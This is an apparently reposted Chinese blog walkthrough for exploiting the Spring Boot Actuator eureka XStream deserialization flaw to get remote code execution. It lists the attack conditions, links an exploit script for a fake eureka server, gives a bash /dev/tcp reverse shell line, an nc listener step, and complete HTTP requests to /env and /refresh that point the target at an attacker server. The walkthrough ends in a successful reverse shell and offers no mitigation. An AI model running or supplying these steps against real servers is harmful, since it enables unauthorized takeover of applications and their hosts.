当前位置:   article > 正文

Spring-boot远程代码执行系列(eureka xstream deserialization RCE)

eureka xstream deserialization rce

0x1 漏洞原理

1.eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址。
2.refresh 触发目标机器请求远程 URL,提前架设的 fake eureka server 就会返回恶意的 payload。
3.目标机器相关依赖解析 payload,触发 XStream 反序列化,造成 RCE 漏洞。

0x2 漏洞利用条件

1.可以 POST 请求目标网站的 /env 接口设置属性
2.可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
3.目标使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中)
4.目标可以请求攻击者的 HTTP 服务器(请求可出外网)

0x3 漏洞复现

1、查看目标是否使用Spring Cloud Netflix。
在这里插入图片描述
2、架设响应恶意 XStream payload 的网站。
提供一个依赖 Flask 并符合要求的 python 脚本示例(https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py),作用是利用目标 Linux 机器上自带的 python 来反弹shell。
使用 python 在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号。

<string>bash -i >& /dev/tcp/ip/port 0>& 1</string>
  • 1

在这里插入图片描述
运行。
在这里插入图片描述
3、nc开启监听。
在这里插入图片描述
4、设置 eureka.client.serviceUrl.defaultZone 属性

spring 1.x
POST /env HTTP/1.1
Host: 192.168.3.136:9093
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
​
eureka.client.serviceUrl.defaultZone=http://vpsip/example
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

在这里插入图片描述
5、刷新配置。

POST /refresh HTTP/1.1
Host: 192.168.3.136:9093
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

在这里插入图片描述
6、成功反弹shell。
在这里插入图片描述

0x4 参考

https://github.com/LandGrey/SpringBootVulExploit

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/很楠不爱3/article/detail/717660
推荐阅读
相关标签
  

闽ICP备14008679号